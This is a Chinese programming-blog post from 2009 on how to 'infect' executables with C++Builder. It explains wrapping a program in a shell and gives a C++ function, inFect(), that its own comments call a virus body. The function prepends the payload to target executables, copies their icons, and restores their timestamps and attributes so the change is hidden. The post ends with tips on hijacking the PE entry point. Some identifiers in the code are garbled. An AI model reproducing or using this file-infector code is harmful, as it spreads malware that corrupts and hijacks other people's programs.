龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > 软件开发 > C/C++开发 >

关于BCB写入文件进行感染的问题

时间:2009-12-22 15:42来源:未知 作者:admin 点击:
分享到:
提示一点,一种最简单的方法是,自己做一个外壳程序(Shell),然后将要运行的程序以某种方式放入到外壳程序中(比如以资源或者特定位置数据),而外壳程序可以抽取原可执行程序文

  提示一点,一种最简单的方法是,自己做一个外壳程序(Shell),然后将要运行的程序以某种方式放入到外壳程序中(比如以资源或者特定位置数据),而外壳程序可以抽取原可执行程序文件得图标,并可修改自己的图标与之相同。这样一来,经过修改的程序就是 外壳程序 + 原可执行程序(已作为数据存在于外壳程序中),运行后自然先启动外壳程序,你可以在其中加入一些权限判定的代码,通过验证后,外壳程序将自身中的真正可执行文件数据提取并运行。这里面的要求是,外壳程序必须用纯 WinAPI SDK 方式编写,以减少文件体积;外壳程序应当对写入自身的原可执行程序数据作加密处理,以防被窃取。你可以位外壳程序增加感染功能(不要做病毒哦……)等等。

  

  

/****************************************************************************

  

Function Name : inFect

  

Function : 感染文件

  

Parement : char *strFile 文件名

  

char *strSource 病毒体

  

DWord dwSourceSize 病毒体长度

  

Return : if sUCcess return 1,else return 0;

  

*****************************************************************************/

  

int inFect(WIN32_FIND_DATA _lpFindFileData,char *strSource,DWORD dwSourceSize){

  

HANDLE hSearchFile=NULL;

  

DWORD dwSearchFileSize=0;

  

char VirusFlag[10]={'\0'};

  

DWORD bytes_write;

  

WIN32_FIND_DATA lpFindFileData=_lpFindFileData;

  

char *strFile=lpFindFileData.cFileName ;

  

  

//char *strFile="AntGhazi.tmp\0";//测试时,特定只感染此文件

  

//strFile="e:kkkka.exe";//c:AntGhazi.tmp\0";//测试时,特定只感染此文件

  

  

::SetFileAttributes (strFile,FILE_ATTRIBUTE_NORMAL);

  

hSearchFile=::CreateFile (strFile,GENERIC_READGENERIC_WR99vE, FILE_SHARE_WR99vE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

  

if(hSearchFile == INVALID_HANDLE_VALUE){

  

::CloseHandle (hSearchFile);

  

::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );

  

return 0;

  

}

  

  

::SetFilePointer (hSearchFile,80, NULL, FILE_BEGIN); //先读取标志

  

::ReadFile (hSearchFile,VirusFlag,8,&bytes_write,0);

  

::ReadFile (hSearchFile,&dwSearchFileSize,4,&bytes_write,0);

  

if(strcmp(VirusFlag,"AntGhazi")!=0){ //感染

  

//先读取长度

  

dwSearchFileSize=::GetFileSize (hSearchFile,NULL); //原长度

  

if(dwSearchFileSize>10485760){ //假如文件大于10M,则退出

  

::CloseHandle (hSearchFile);

  

::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );

  

return 0;

  

}

  

char *pSearchFile=new char[dwSearchFileSize];

  

::SetFilePointer (hSearchFile,0,NULL,FILE_BEGIN); //读取原文件内容

  

::ReadFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);

  

memmove(strSource+80,"AntGhazi",8); //写入标志

  

memcpy(strSource+88,&dwSearchFileSize,4); //写入源长度

  

  

::SetFilePointer(hSearchFile,0,NULL,FILE_BEGIN); //预备写入文件中

  

ModifyIcon(&strSource,pSearchFile); //修改ICON

  

::WriteFile (hSearchFile,strSource,dwSourceSize,&bytes_write,0);

  

  

::WriteFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);

  

delete pSearchFile;

  

SetFileTime(hSearchFile,&lpFindFileData.ftCreationTime,&lpFindFileData.ftLastAccessTime ,&lpFindFileData.ftLastWriteTime);//写入日期

  

::CloseHandle (hSearchFile);

  

}else{

  

::CloseHandle (hSearchFile);

  

}

  

::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );

  

return 1;

  

}

  

  

先弄明白EXE文件的格式,每个EXE文件都有一个文件头叫PE,那文件头里面定义了该EXE文件里面各段的地址等很多重要的数据,有一个起始的指针指向程序开始运行的入口地址,你做个外壳把那地址改成你的程序入口,然后在你程序结束的时候转到原来的那个入口就可以了。

  

说起道理来轻易,但想弄明白PE可真不是件轻易事哦!

  

精彩图集

赞助商链接